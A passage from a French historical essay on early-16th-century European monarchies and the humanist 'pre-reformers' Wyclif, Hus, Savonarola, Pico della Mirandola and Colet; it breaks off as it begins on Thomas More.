toute la première moitié du XVI<sup>e</sup> siècle : les rois nordiques, le roi d’Angleterre Henri VIII, Charles de Habsbourg, futur Charles Quint. Le jeu des alliances politiques et privées jouera également un rôle important, dont le remariage de Louis, veuf d’Anne de Bretagne avec la sœur d’Henri VIII, Marie d’Angleterre, en 1514. Un an plus tard, Louis XII meurt, et, n’ayant que deux filles, Claude et Renée, a comme successeur François d’Angoulême, qui devient François 1er et régnera de 1515 à 1547, selon la loi salique qui écartait les femmes du trône ; cette loi n’existait ni en Angleterre, ni en Castille ni en Navarre. Chef de guerre, protecteur des populations et de l’intégrité du royaume, le roi de France est également garant d’un Etat de droit. Parmi les règles immuables de la monarchie française, - couronne inaliénable, filles exclues de la succession, primogéniture prévalant sur la proximité -, une quatrième règle est imposée qui déterminera la politique religieuse de la France au XVI<sup>e</sup> siècle ( et jusqu’en 1789) : le roi chrétien doit être sacré et de droit divin. Avec la rupture luthérienne, puis calviniste, en France , il sera donc exigé que le roi soit catholique et non pas huguenot. Ce sera le problème du choix de l’abjuration toute politique d’Henri IV en 1593 car, légitimé roi de France par Henri III, mais huguenot, il devra se démettre de la couronne en restant protestant ou se soumettre en faisant le ’saut périlleux’ de l’abjuration. Ainsi, ‘resté’ roi de France et de Navarre, Henri IV pourra mettre un terme aux guerres civiles religieuses par l’édit de Nantes en avril 1598 et aux guerres politiques avec l’Espagne à Vervins en mai 1598. Les rois de France du XVI<sup>e</sup> siècle seront donc des Valois, jusqu’aux derniers qui vont régner, dés après Louis XII, de François 1er à Henri III . La fin du siècle voit le changement de dynastie avec les Bourbons et Henri de Navarre dés 1589. Henri IV, comme les rois précédents sera sacré, en 1594, à Chartres, Reims étant assiégée par les troupes adverses. Les Bourbons régneront alors jusqu’en 1789. Pour l’heure, François 1er engage l’avenir du royaume de France en recoupant son histoire avec celle de l’Europe. Le roi, arrivé sur le trône de France en 1515, mène des politiques extérieure et intérieure liées à la religion. Deux faits importants ont alors lieu. Tout d’abord Ferdinand II d’Aragon meurt et lui succède Charles de Luxembourg, prince des Pays Bas et devenu Charles Quint en 1519. Le principal adversaire de François 1er est entré en scène. Le second personnage à qui le roi de France va s’opposer est le pape Léon X. En 1516, François 1er appose sa signature ainsi que le pape au Concordat de Bologne. Annulant la ‘Pragmatique Sanction’, signée par Charles VII, qui datait de 1438, le concordat de 1516 donne au roi de France de grands pouvoirs. Désormais ce dernier nomme les membres du clergé, accorde des lettres d’investiture spirituelle, dicte les conditions d’aptitude : par exemple, un futur évêque doit être âgé d’au moins vingt sept ans, être licencié en théologie, docteur en droit canon et civil ; pour les monastères et prieurés, tout supérieur doit avoir au moins vingt trois ans, appartenir à l’ordre et justifier de qualités morales et intellectuelles. Enfin le roi détient le droit sur les universités qui l’avaient jusque là, de nommer les supérieurs des abbayes. Face à ces droits nombreux et importants laissés au roi, le pape voit les siens restreints, dont la suppression de privilèges pontificaux, notamment financiers. Enfin, les provinces comme la Bretagne et la Provence, n’étant pas françaises en 1438, n’étaient pas incluses dans ce concordat. Malgré des oppositions du Vatican, de l’Eglise en France, des universités, le concordat de 1516 est enregistré par le Parlement en 1518. En outre, en 1530, le roi était autorisé par le même Parlement à user de son droit de nomination pour s’attacher la noblesse. François 1er, en signant le concordat, donne aux rois de France un pouvoir politique, religieux très grand, fait oublier le concile de Latran qui n’avait pu aboutir, et peut désormais régner en souverain ‘ temporel’ et ‘spirituel ’, en premier monarque absolu. L’événement majeur, comme suite logique de cette politique et de ces pouvoirs dans l’insécurité et les incertitudes créées par les idées luthériennes est en 1534, ‘l’affaire des Placards’. On a affiché en effet des ‘placards’ à la cathédrale de Meaux, par une espèce de bravade ou de fausse plaisanterie, qui révoquaient la Bulle de Léon X contre Luther ; cette première affaire devait être sanctionnée par la marque au fer fouge d’une fleur de lys sur le front des accusés, tandis que le chanoine de la cathédrale et l’un de ses amis, Denis de Rieux étaient condamnés à être traînés sur la claie, puis brûlés en place publique. En octobre 1534, on affiche encore des « placards », ce sera « l’Affaire ». Les affiches antipapistes sont nombreuses et virulentes, placardées à Paris, puis à Orléans, Tours, Blois et Amboise. Devant ce mouvement extrémiste, et apparemment organisé, le roi qui a signé le concordat, et qui était jusqu’à présent hésitant sinon compréhensif sous l’influence de sa soeur Marguerite d’Angoulême, doit choisir et juger. Le roi catholique opte définitivement et fermement pour le catholicisme, ordonne une répression qui est la première grande persécution dans le royaume et le premier exil de ceux qu’on appelle luthériens. Le premier édit général pour une répression antiprotestante date de 1539, il accorde aux dénonciateurs le quart des biens confisqués à ceux qui ont été dénoncés et seront jugés et condamnés au bûcher. Dés lors, la répression devient officielle et irréversible , et les affrontements n’iront qu’en empirant. Quand il meurt en 1547, François 1er laisse à son fils Henri II, héritier du trône, une France concordataire de sa seule volonté, en guerre avec Charles Quint et bientôt Elizabeth 1ere qui succède à son père Henri VIII, également mort en 1547. Le XVI<sup>e</sup> siècle, dans sa seconde moitié, voit Henri II puis ses fils régner sur la France ; les plus importants seront Charles IX et Henri III ; sous le règne de Charles IX, placé sous la tutelle de sa mère Catherine de Médicis, aura lieu en 1572 le grand massacre protestant de la Saint Barthélemy ; Henri III, le ‘dernier Valois’ ne verra pas la fin des guerres de religion, qui depuis 1562 ne cesseront qu’en avril 1598 avec Henri IV, le « premier Bourbon » . Incontestablement, les jeux politiques ont lieu entre la France, l’Angleterre et le Saint - Empire romain germanique. L’Angleterre, au début du XVI<sup>e</sup> siècle compte environ quatre millions d’habitants ; elle est affaiblie par les deux guerres importantes, la guerre extérieure – la guerre de Cent - Ans – et la guerre intérieure – la guerre des Deux - Roses qui, de 1455 à 1485, avait opposé les deux branches de la famille royale pour accéder à la couronne, les Lancaster et les York. Par sa position géographique, l’Angleterre à cette période connaît une évolution qui fera d’elle une puissance économique et commerciale, liée aux problèmes religieux à ne pas négliger ; elle sait cependant conserver ses anciennes institutions, en les adaptant, comme l’Habeas Corpus de la Grande Charte de 1215 qui interdisait tout acte arbitraire et permettait de lutter contre tout abus royal, ou la Common Law qui ne repose pas sur le droit romain, mais sur un ensemble de coutumes. Henri VIII transforme le Parlement et le fait passer de l’état de cour judiciaire du Moyen-Âge à celui de véritable et influente instance de délibération par les deux Chambres : les Lords et les Communes : le Parlement devient alors un frein au pouvoir royal. Enfin, entre autres particularités , l’Angleterre adopte un système administratif spécifique où le pouvoir appartient aux notables locaux qui peuvent, grâce au Parlement, contrôler aussi le pouvoir royal. Les forces qui ‘se surveillent’ se retrouvent, comme dans les monarchies scandinaves, et ces particularismes et ces ressemblances éclaireront les différentes attitudes politiques et religieuses du XVI<sup>e</sup> siècle. Les deux grands souverains de ce siècle sont Henri VIII et Elizabeth 1ere. Henri VIII (1491 – 1547) qui règne à partir de 1509, sera avec François 1er et Charles Quint l’acteur des guerres de la première moitié du XVI<sup>e</sup> siècle ; il sera principalement en politique religieuse l’artisan du futur anglicanisme. Davantage par politique personnelle, exigeant son divorce, refusé par le pape, de Catherine d’Aragon, pour épouser Anne Boleyn ; le roi rompt toutes relations officielles ecclésiales avec le pape ; Henri VIII se proclamera chef de l’Eglise d’Angleterre en 1531. En politique religieuse intérieure après la mort du roi, ce sera le retour au catholicisme sous le règne de Marie Tudor ( 1516–1558), fille d’Henri VIII et de Catherine d’Aragon qui a épousé en 1534 Philippe II d’Espagne, fils de Charles Quint. L’anglicanisme ne sera définitivement installé qu’avec l’arrivée au trône de la fille d’Henri VIII et d’Anne Boleyn, Elizabeth 1ere, en 1558. Elizabeth 1ere (1533–1603) est la grande souveraine d’Angleterre de la deuxième moitié du XVI<sup>e</sup> siècle. C’est elle qui mènera la guerre contre l’Espagne, verra la flotte anglaise vaincre ‘l’invincible Armada’ en 1588 et fera que désormais l’Angleterre contrôle l’Atlantique ; Elizabeth I° interviendra encore pendant les guerres de religion en France. L’apogée de la reine d’Angleterre est le déclin de l’Espagne , de Philippe II qui n’aura pu avoir ni le prestige ni l’efficacité de son père, malgré la victoire sur les Turcs à Lépante en 1571 et la fin de la guerre avec la France en mai 1598. Mais le souverain le plus puissant d’Europe au début du XVI<sup>e</sup> siècle, qui règne sur ‘un empire où le soleil ne couche jamais’ est Charles Quint. Les territoires sont l’Espagne, la Franche- Comté, la Basse Autriche, le Tyrol, la Bohême, la Moravie, la Silésie, l’Alsace et les Pays Bas. En Italie, Charles Quint nomme des vice-rois qui règnent sur le royaume de Naples, la Sicile, et la Sardaigne, le Milanais ; l’empereur règne encore en Amérique du sud et centrale et aux Philippines. La puissance de l’empire est autant politique que militaire , sur terre et sur mer. Charles Quint, né vers 1500, a été élu à la préférence de François 1eret d’Henri VIII en 1519, a régné pendant quarante ans ; il abdique en 1555 et meurt en 1558. Durant son règne, Charles Quint n’aura de cesse de maintenir son empire, puis en l’agrandissant de faire maintenir le catholicisme dans une Europe qui ne se veut que chrétienne ; les croisements des alliances politiques, économiques et familiales aident l’empereur à maintenir cet équilibre. Son adversaire principal est François I° et les conflits entre les deux grands souverains seront graves quand il s’agira pour le roi de France de récupérer des territoires dont la revendication entraînera les guerres d’Italie. Sentant se resserrer l’étau espagnol autour de la France, François 1er fera jouer diversement les alliances avec Henri VIII ou avec les princes allemands, ou les Ottomans de Soliman le Magnifique avec qui un accord sera signé. Henri II qui succède à son père poursuivra la même politique de reconquête des territoires . Un autre phénomène entre alors en scène, la propagation des idées religieuses hérétiques grâce à une nouvelle technique. Sorti de la presse de Gutenberg, le premier livre imprimé est né : la Bible. L’homme qui a expérimenté le procédé des caractères mobiles d’une presse d’imprimerie a choisi en effet la Bible comme premier ouvrage imprimé. Le passage du manuscrit à l’imprimé est une révolution qui induira celle de l’esprit. Le savoir pourra être diffusé, le partage de la connaissance sera possible. D’abord réservés à une élite intellectuelle, les volumes pourront être dans d’autres lieux que châteaux et abbayes. Un pas immense est franchi, celui de la diffusion de la connaissance, dans tous les domaines, artistiques, philosophiques, politiques et religieux . L’histoire retient d’ailleurs cette ’explosion’ technique comme liée à l’explosion intellectuelle de l’humanisme. ‘L’époque moderne’ marque la fin de l’époque médiévale ainsi liée au tournant pris grâce à l’imprimerie. Parallèlement à ces différentes évolutions se situe le courant humaniste. Il naît de cette suite et de cet ensemble de transformations, de crises et de bouleversements qui ont pu susciter bien des interrogations. À ces interrogations, on répond en reprenant les textes des philosophes grecs et latins. Pour ce faire, on apprend donc les langues anciennes et on profite de la nouvelle imprimerie pour diffuser les écrits et la pensée. Né en Italie, l’humanisme se développe dans toute l’Europe et ses érudits vont traverser frontières et pays, se rencontrer et partager interrogations et tentatives de réponses. Malgré les différences de régimes et de lois, les difficultés sans doute rencontrées en chemin , mais, grâce au latin qui les relie et les unit, ceux qui seront appelés ‘humanistes’ propagent leurs idées, les écrits circulent, et notamment en matière de religion. Car l’humanisme n’est pas qu’une affaire d’arts et de lettres. Il est aussi théologique et philosophique. Et c’est bien là que les disputes , les controverses et les conflits seront sévères et d’autant plus graves qu’ils se mêleront aux affaires politiques. Les condamnations, parfois à mort, seront officiellement pour ‘hérésie’ mais les premiers jugements assimilent au procès subversions ou contestations politiques. En effet l’articulation politique et religion reste puissante et redoutablement dangereuse pour ceux qui tentent soit de la contrecarrer soit de l’arrêter : si critiquer l’Eglise est grave, mêler ces critiques de politique l’est doublement. Ainsi, s’opposer notamment à la théologie scolastique est–il une attitude que les détenteurs de cette théologie ne pardonnent pas, et ces héritiers des universités des XII<sup>e</sup> et XIII<sup>e</sup> siècles seront de plus en plus le sujet de reproches, non pas seulement de mœurs ou d’inculture, mais de passéisme et de frein à la modernité. Les ‘Anciens’ accusent les humanistes de ‘paganisme’ ; eux-mêmes ignoraient les langues mères, l’hébreu et le grec, en taxant la première de ‘langue des juifs’ et la seconde de ’langue des schismatiques’; ils préfèrent conserver avec la tradition un ritualisme que précisément les humanistes réfutent pour préférer les seules Ecritures dans leurs langues originales. Les humanistes en tournant le dos au Moyen-Âge ouvrent une voie nouvelle à ce ‘modernisme’, à leurs risques : ils vont défier l’ancienne théologie en voulant et en croyant l’homme capable de liberté et de bon jugement, qualités essentielles acquises par ailleurs grâce à la connaissance de l’Antiquité. Ils se réclament également de Saint Augustin ou de Saint-Jérôme qui déjà avaient tenté une harmonie entre paganisme antique et culture judéo-chrétienne. Car les humanistes ne rejettent ni l’Evangile ni Dieu . Leur objectif est de relire les Ecritures dans un esprit débarrassé des doctrines périmées, d’une théologie immobile, du fonctionnement de l’Eglise, qui, selon eux, freine toute nouvelle réflexion critique. Les humanistes, définis comme ‘humanistes chrétiens’, se présentent comme les champions d’une théologie et d’une éthique nouvelles. Sans être opposés ni au christianisme ni à l’institution de l’Eglise, ils aspirent à des réformes. Ils cherchent un équilibre, difficile, entre la liberté de l’homme et le respect de l’Eglise. A ce niveau, il ne peut, à cette époque n’y avoir qu’équilibre ou chute et il appartiendra aux personnages des la fin du XIV<sup>e</sup> siècle puis à ceux du XV<sup>e</sup> et enfin aux ‘derniers’ du XVI<sup>e</sup> siècle, de mener la quête de ce nouvel état de conscience. Alors les uns seront prudents, d’autres se rétracteront, d’autres encore feront basculer les institutions en place, politiques et religieuses, jusque là inamovibles et immobiles. == 2° chapitre : Avant la Réforme, les hommes, les idées. == Dans ce contexte, vont se lever des hommes courageux, dont les paroles et les actes seront autant de repères. Déjà témoins des premières préoccupations religieuses de leur temps, ils appartiennent souvent à l’Église ; ils tiennent à y rester, y sont attachés, mais sont conscients d’un dysfonctionnement entre ce qu’ils vivent et ce qu’ils espèrent, entre les traditions séculaires et la Bible qu’ils veulent lire et expliquer, entre les contestations qui apparaissent et leur souhait de retrouver un sens ‘évangélique’ : « évangélistes » sera aussi le nom qui leur sera donné. Ils sont nombreux, anonymes dans leurs villes, leurs pays. Ils seront connus lorsqu’ils pourront agir publiquement et officiellement face au pouvoir de l’Église et des gouvernements. Certains laisseront leurs noms dans l’histoire de leur pays et celle des religions, par leurs actes, leurs écrits, leur mort aussi parfois. Avant les humanistes, ils seront qualifiés de ‘pré-réformateurs’, précédant Martin Luther et Jean Calvin. Ils seront connus dans toute l’Europe, avant 1517, sauf en France. Après Pierre Valdo, qui pourrait être compté parmi les premiers mais se situe plus d’un siècle avant les pré-réformateurs reconnus, il faut attendre le début du XVI<sup>e</sup> siècle pour rencontrer les grands noms de Guillaume Briçonnet ou de Lefèvre d’Etaples, dont les vies déjà croisent celle de Luther. Les nommer pré-réformateurs, c’est anticiper sur la suite des événements, mais c’est également fixer des repères dans l’histoire pour aider à mieux comprendre son évolution. Au XIV<sup>e</sup> siècle en Angleterre, existe un premier courant de révoltes contre les abus de l’Église, courant qui ne s’est pas éteint au XII<sup>e</sup> siècle et reste latent tout au long du XIII<sup>e</sup> siècle. Dans la seconde moitié du XIV<sup>e</sup> siècle, un homme engagé dans son Église, docteur en théologie, professeur à Oxford et alors très écouté, reprend la lutte précédente : John Wyclif (vers 1320 - 1384). Né vers 1320, probablement dans le Yorkshire, il est peu connu jusqu’en 1372, date à laquelle il devient docteur en théologie. Tout en étant respecté comme homme d’Église et théologien, disciple de Saint - Augustin, Wyclif se fait bientôt connaître dans les domaines politique et social. Wyclif en effet a été marqué par le décalage existant entre les problèmes de la pauvreté et le fonctionnement de l’Église ; il reste attentif aux revendications des ‘antipapistes’ qui affichent leur hostilité à Rome, et recherche une organisation ecclésiale sans pouvoir temporel ni matériel. Ce que Wyclif affirme en outre est que le seul pouvoir que doit reconnaître l’homme est son appartenance à Dieu, et que sa seule obéissance n’est due aussi qu’à Dieu, à travers la Bible : Wyclif n’aura de cesse de développer ces idées, de les affirmer et de les voir partagées. Il est envoyé en 1374 à Bruges, pour rencontrer des représentants du pape Grégoire XI, rencontre qui marque le début d’une alliance entre Wyclif et le parti anticlérical de Jean de Gand, duc de Lancaster, qui s’opposait au roi Edouard III et à l’Église. En 1376, Jean de Gand est vaincu par le Prince Noir , fils d’Edouard III, mais la mort du Prince Noir en 1377 redonne du pouvoir à Wyclif et à ses amis : il s’ensuit un nouveau conflit avec l’Église tandis que Wyclif est toujours soutenu par Oxford. Dès lors, les tendances ‘hérétiques’ de Wyclif se développent. Il ne s’agit plus seulement de critiques d’abus ou de pouvoirs de l’Église, mais de sa doctrine et de ses dogmes. La tension monte encore quand Wyclif, dès 1380, commence à mettre en question la transsubstantiation, fait à la fois grave et incompréhensible à cette date. Ainsi Wyclif affirmait-il la seule obéissance à Dieu, la seule autorité de la Bible et enfin le retour à l’Évangile seul, précurseur et annonciateur de la future Réforme. La Révolte des paysans, soutenue par Wyclif et les Lollards lui fait perdre de sa crédibilité, et en 1381 Oxford même condamne la théorie de Wyclif sur l’eucharistie ainsi que la série de vingt quatre propositions qu’il avait rédigées. Les Lollards sont sommés de se rétracter quand il sera imposé à Wyclif de ne plus prêcher. Ce dernier se retire alors à Lutterworth où il écrit de nombreux volumes en latin et en anglais. Malade et paralysé, il meurt en 1384 dans cette même ville où il est inhumé, mais le Concile de Trente de 1415 ordonne que ses restes soient exhumés et dispersés. Cette condamnation sera effective en 1428. John Wyclif a donc été un ‘précurseur’ en matière ‘ d’hérésie doctrinale’ en mettant en question la transsubstantiation, en affirmant la liberté de l’homme en face de Dieu et la Bible comme seule référence, en réclamant déjà une séparation des pouvoirs temporel et spirituel. Ces trois affirmations feront partie des affirmations et revendications des réformateurs un siècle plus tard, quand Wyclif est déjà suivi, à l’autre bout de l’Europe, en Bohême, par Jean Hus. Au XIV<sup>e</sup> et au XV<sup>e</sup> siècles, Wyclif a été entendu particulièrement par un homme : Jean Hus. La Bohême peut paraître éloignée géographiquement, mais les idées circulent et rien n’est vraiment étranger entre l’Angleterre et la Bohême dans la réflexion religieuse et une fois encore politique et sociale. Car la Bohême alors est le théâtre d’un grave conflit entre le parti allemand et le parti tchèque, politiquement, mais aussi dans ce qui touche à l’Université. La lutte que va mener Jean Hus va donc être double, politique et religieuse, via les problèmes universitaires. Jean Hus, né vers 1371 au sud de la Bohême à Husinec (d’où son nom), a fait ses études de théologie à Prague. Il est diplômé en théologie en 1394 et en arts en 1396. Prêtre en 1400, il enseigne à l’Université dont il est recteur de 1409 à 1410. Les proclamations de John Wyclif sont déjà parvenues en Bohême et Jean Hus les adopte et les diffuse. Il joint au besoin de réformes dans l’Église et le clergé celui d’une justice sociale. C’est à l’Université que vont s’affronter Hus, ses amis, et leurs opposants, mais les sermons de Hus sont encore écoutés, car il bénéficie de l’appui de l’archevêque et de Wenceslas IV, roi de Bohême de 1378 à 1419. L’affrontement est d’autant plus sévère que s’y greffe le conflit allemand – tchèque. Car si l’Université est fréquentée par étudiants et professeurs étrangers, ce sont les allemands qui sont les plus nombreux et ont un plus grand nombre de voix au conseil universitaire que les tchèques eux – mêmes ; ce nombre et cette place sont importants car au conseil se décident programmes des cours et budget. Enfin la querelle est théologique, les allemands restent attachés à Saint-Thomas d’Aquin, et les tchèques, avec Jean Hus, influencés par Wyclif. Ces derniers devant l’ampleur du conflit souhaitent le porter devant le Concile qui doit se réunir à Pise. Les allemands s’y refusent et le roi Wenceslas II , pour soutenir les tchèques, modifie le droit de vote en faveur des tchèques, décision dont la conséquence est le départ des allemands de Prague. Cependant le conflit n’en est pas terminé pour autant, qui se concentre alors entre le roi et l’archevêque de Prague qui refuse désormais d’écouter toute thèse de John Wyclif dont il fait brûler les ouvrages en 1410. Jean Hus répond à ces attaques par des écrits, toujours inspirés de Wyclif, et polémiques, ce qui lui vaut, après des blâmes ecclésiastiques, d’être excommunié en 1411. A ces blâmes s’ajoute bientôt la défaveur du roi qui accepte la vente des indulgences qui vient d’être autorisée en Bohême alors que Jean Hus s’y oppose farouchement. La seule défense de Jean Hus est au Concile de Constance, où il peut se rendre grâce à Sigismond, le frère du roi, qui lui a accordé un sauf-conduit. Arrivé à Constance, il est arrêté et emprisonné le 28 novembre 1414. Ce n’est qu’en juin 1415 qu’il pourra faire entendre sa défense, grâce aux interventions tchèques. Défense vaine. Le Concile envisage un emprisonnement à vie à condition que Jean Hus se rétracte. Mais, loin de nier ces précédentes affirmations, l’accusé les remanie pour en faire un autre texte. La condamnation à mort est alors prononcée. Il est mené au bûcher le 6 juillet 1415 à Constance, tandis que le Concile se déroule toujours ; et seront jetées dans le Rhin les cendres de celui qui n’avait jamais cessé de dire : :« Cherche la vérité, écoute la vérité, apprends la vérité, aime la vérité, soutiens la vérité, défends la vérité jusqu’à la mort ». Dès son martyr, Jean Hus était considéré comme un saint et entrait dans une légende. Au XV<sup>e</sup> siècle, l’Italie, siège de la papauté et du catholicisme, ne reste pas éloignée des courants et des querelles qui agitent les autres pays voisins ; et deux personnages sont célèbres par leur passé et leur action dans le domaine religieux et politique : Jérôme Savonarole et Jean Le Pic de la Mirandole. Jérôme Savonarole (vers 1452–1498), né à Ferrare, après avoir entamé des études de médecine, préfère se diriger dans la voie ecclésiastique, entre à Bologne chez les dominicains. Il est en 1491 prieur du couvent de San Marco à Florence. Il devient alors prophète dans cette ville de certains malheurs qui doivent s’abattre sur le monde si celui – ci continue à vivre dans le désordre qu’il connaît. En plus de prôner le retour à une vie évangélique faite de simplicité et d’humilité, Savonarole énonce des critiques sévères contre la papauté ; selon lui, tous doivent se convertir sous peine de châtiments divins terrifiants. Dans les débuts de sa prédication, les florentins écoutent ‘le prophète’. Il est vrai qu’il a été le confesseur de Laurent de Médicis et que Pierre II de Médicis déjà dès 1494 le suivait. À cette date, la question religieuse va se mêler à la question politique. En effet, en septembre 1494, l’armée française pénètre en Italie, prend Florence et Pierre de Médicis choisit d’abord l’alliance avec le royaume de Naples contre la France, alliance qui appelle une réponse immédiate du roi de France, Charles VIII : l’expulsion de tous les marchands italiens de Lyon. La conséquence en est la ruine de la banque Médicis et le retournement de Pierre de Médicis qui s’avoue vaincu devant Charles VIII. À cette annonce, les florentins se révoltent et Pierre de Médicis doit quitter Florence en novembre 1494. Alors l’influence de Savonarole apparaît importante à cette époque ; influence religieuse, mêlée au social, qui va peser sur l’aspect politique du moment, car le prédicateur encourage la révolte des florentins et en l’absence de Pierre de Médicis prend une importance considérable dans la ville. En outre en décembre 1494, après la chute de la République de Florence, on instaure un Grand Conseil comme étant la plus haute instance de souveraineté avec un plus grand nombre de membres; cet élargissement avait été accepté sous la pression des sermons de Savonarole qui rêvait d’une république théocratique. Cette expérience s’avèrera être essentielle dans l’histoire de Florence et dans celle des idées politiques des XV<sup>e</sup> et XVI<sup>e</sup> siècles. Durant la période du Grand Conseil, Savonarole, personnage important, n’hésite pas à tenter de mettre en œuvre ses idées et instaure une autorité qui ne cesse de grandir : interdiction de toutes les fêtes profanes, des jeux, du port de costumes riches ou colorés, de posséder des bijoux, des objets de toilette : ces derniers devaient être brûlés sur des ‘bûchers de vanité’, comme il devait y avoir des autodafés, le jour du mardi gras de 1494, de livres, peintures et instruments de musique. Cette sévérité et cette austérité valent, peu à peu, à Savonarole critiques d’abord des florentins, puis oppositions auxquelles s’ajoutent celles de l’Église que Savonarole ne cesse de vilipender de façon de plus en plus virulente. Convoqué à Rome en 1495, il ne s’y rend pas, est excommunié en 1497 par le pape Alexandre VI Borgia. Il conteste cette condamnation. Une nouvelle fois, la politique interféra dans la vie du « prophète » ; les Médicis avaient imaginé une contre révolution qui avait été un échec et certains chefs du complot condamnés à mort ; le Grand Conseil aurait pu accepter un appel de cette condamnation, mais les partisans de Savonarole avaient rapidement fait exécuter les ‘conspirateurs’ avec le muet acquiescement de Savonarole lui – même. L’Église le condamne alors encore et lui interdit de prêcher ; Savonarole passe outre cette interdiction et le jour de Carnaval 1498, remonte en chaire et attaque fortement l’Église et le pape dont il dénie l’infaillibilité. Il va jusqu’à écrire au roi de France pour l’inciter à ouvrir un concile général et déposer le pape. La missive est interceptée par Ludovic Sforza, duc de Milan, est envoyée au pape Alexandre VI, qui a comme alliés à cette époque contre Savonarole les autres ordres mendiants. Mais le prestige et la célébrité de Savonarole ne sont plus ni religieux ni politiques. Il est arrêté dans le couvent de San Marco et emprisonné. Sous la torture, il se rétractera puis reviendra à ses affirmations et se rétractera encore. Jugé, il est condamné au bûcher à Florence en 1498. Plus tard, la Réforme installée retiendra les critiques de Savonarole contre le ‘papisme’, dont celle de l’infaillibilité papale (qui n’est pas encore un dogme,mais une pratique acquise), sa volonté de retrouver l’Évangile, mais ses prophéties apocalyptiques et leurs conséquences, tant en politique que dans son autorité et austérité outrancières resteront à son débit. Savonarole est resté sans doute préoccupé et angoissé plus par obsession passéiste que par une analyse à long terme de l’avenir de l’Église. Contemporain de Savonarole, Giovanni Pico della Mirandola, ou Jean Pic de la Mirandole (1463–1494) naît dans une famille fortunée. Brillant dés l’âge de dix ans, il est nommé protonotaire apostolique puis appelé ‘prince des orateurs et des poètes’ A quatorze ans il entre à l’Université de Bologne pour étudier le droit canon, et est destiné à la prêtrise. Mais le jeune homme se dirige bientôt vers la philosophie qu’il part étudier à Ferrare puis à Padoue et à Florence où il rencontre Marcile Ficin auprès de qui il approfondit son goût pour l’humanisme. Pic de la Mirandole étudie aussi Aristote, Platon, apprend l’arabe et l’hébreu, sait déjà la latin, s’initie au judaïsme et à la Kabbale. Sous l’influence de Marcile Ficin, il découvre le néo-platonisme qui le fait évoluer, quitter le monde du Moyen Age pour voir s’entrouvrir celui de ‘l’hérésie’. Pic conteste le théocentrisme médiéval et exalte la liberté de l’homme face à un Dieu ineffable. Il cherche une convergence des systèmes philosophique et religieux qui doit conduire à un christianisme rénové. En 1486, Pic de la Mirandole publie à Rome neuf cent propositions, les « Conclusiones » qui démontrent ses idées ; il demande une ‘disputation’ publique dans cette même ville avec des érudits de toute l’Europe. Disputation autorisée puis interdite. « Poursuivi pour hérésie » par le pape Innocent IV, son ouvrage brûlé, Pic publie néanmoins en 1487 une « Apologie » puis l’ « Heptaplus », un commentaire de la Genèse. Un an plus tard, Pic fuit en France où il est arrêté et emprisonné au donjon de Vincennes ; relâché grâce à l’intervention de Laurent de Médicis, il peut rentrer à Florence où il est accueilli par Marcile Ficin. En 1491, il s’agit d’un autre ouvrage, « De l’être et de l’unité » qui traite de la relation entre une Unité et une Multiplicité, apparente contradiction, dont l’objectif se veut une synthèse entre l’Un et le Multiple, le divin et l’homme, un dualisme qui annonce une pensée moderne. Ayant rencontré Savonarole, Pic de la Mirandole opte pour la vie religieuse et le tiers ordre dominicain. En 1492, le pape Innocent VIII meurt, Alexandre VI Borgia lui succède et c’est à ce dernier que Pic envoie un mémoire qui explique une nouvelle fois sa philosophie et ses thèses précédemment interdites. Et le même pape qui condamne Savonarole accorde à Pic le « Bref d’absolution pleine et entière » en 1493... Le 8 avril 1492, Laurent de Médicis meurt, avec pour successeur son fils Pierre II de Médicis qui n’aura de cesse de voir Savonarole condamné , pour lequel Pic ne pourra rien. En 1494, alors que l’armée de Charles VIII entre à Florence, Pic de la Mirandole meurt, empoisonné, dit–on, par son secrétaire qui aurait été corrompu par Pierre de Médicis. Ainsi la légende s’emparera–t–elle de Jean Pic de la Mirandole, comme elle l’entourera de mystères, de sciences occultes, de magie . L’histoire retiendra un homme d’une intelligence vive, d’une ouverture d’esprit qui le conduit aux voies modernes d’une philosophie et d’une religion repensée, ‘ pré-réformateur ’ dans son appréhension d’une nouvelle relation de l’homme avec Dieu et de l’homme face à lui–même. Il est encore considéré comme le père spirituel de Thomas More, de John Colet, Lefèvre d’Etaples et Erasme,le premier en effet à s’être fermement opposé, avec argumentaires philosophiques et théologiques à la théologie scolastique. Les études nombreuses qui lui seront consacrées iront jusqu’à voir en Pic de la Mirandole un précurseur du cartésianisme : « en dehors de l’influence connue de la lumière et du mouvement », écrivait Pic, « aucune puissance particulière n’existe dans les cieux » ; il signifiait par là la force de la dignité de l’homme, de son libre arbitre et de sa raison sur le déterminisme sans appel qui condamnait et emprisonnait l’homme selon la scolastique. Au XV<sup>e</sup> et XVI<sup>e</sup> siècles en Angleterre, deux hommes s’inspirent de l’enseignement de Pic de la Mirandole, John Colet et Thomas More. John Colet (vers 1467 – 1519) est né à Londres, fils aîné du Lord Mayor de Londres en 1486 et 1495, John Colet a suivi les cours d’Oxford d’où il sort diplômé en 1490. Il est bientôt recteur’ non – résident’ dans le Suffolk puis curé de Saint Duston, puis enfin recteur à Thurning. En 1493, il se rend à Paris et en Italie, étudie le droit canon et le droit civil, apprend le grec. Il a également à cette époque l’occasion de s’initier aux idées de Savonarole et de Pic de la Mirandole et de rencontrer Lefèvre d’Etaples. En 1496, John Colet rencontre en Angleterre, choisit la vie religieuse et s’installe à Oxford où il donne un enseignement qui s’éloigne de la théologie scolastique ; il préfère l’exégèse en l’adaptant à un public plus élargi, par une langue plus familière et des explications plus abordables et compréhensibles. En 1502, John Colet est nommé chanoine de Salisburg, et, trois ans plus tard, de la cathédrale Saint Paul à Londres, puis doyen de cette cathédrale. C’est là qu’il enseigne la Bible, et donne des conférences dans la cathédrale trois jours par semaine. En 1508, ayant hérité de son père, il entreprend la reconstruction de l’école de Saint Paul qu’il termine en 1512. En 1514 il fait le pèlerinage de Canterbury et peu après devient l’aumônier du roi Henri VIII . Il meurt en 1519, est inhumé à Saint Paul où une pierre porte seulement son nom. L’importance de John Colet réside dans sa volonté de rendre la Bible lisible et compréhensible pour tous :en traduisant le Nouveau Testament du grec en anglais, en échappant à la condamnation de l’Église qui interdisait cette traduction, en organisant les conférences de la cathédrale Saint Paul, où, dit –on, en six mois quelques vingt mille fidèles avaient pu écouter le prédicateur, en critiquant les traditions de l’Église, notamment le célibat des prêtres, John Colet a sans doute été l’un des personnages importants de l’évolution de l’Église en Angleterre à cette époque. D’une vingtaine d’années son cadet, Thomas More (1478 – 1535) naît à Londres d’une famille de riches marchands. Jeune garçon, il est d’abord envoyé à Canterbury et à Oxford, où il réside deux ans. Puis il rentre à Londres pour étudier le droit. C’est à Oxford que Thomas More a appris ce qu’était l’humanisme, lu les auteurs grecs et latins, pénétré dans la philosophie de Platon et l’idée d’une République. Ainsi va –t–il 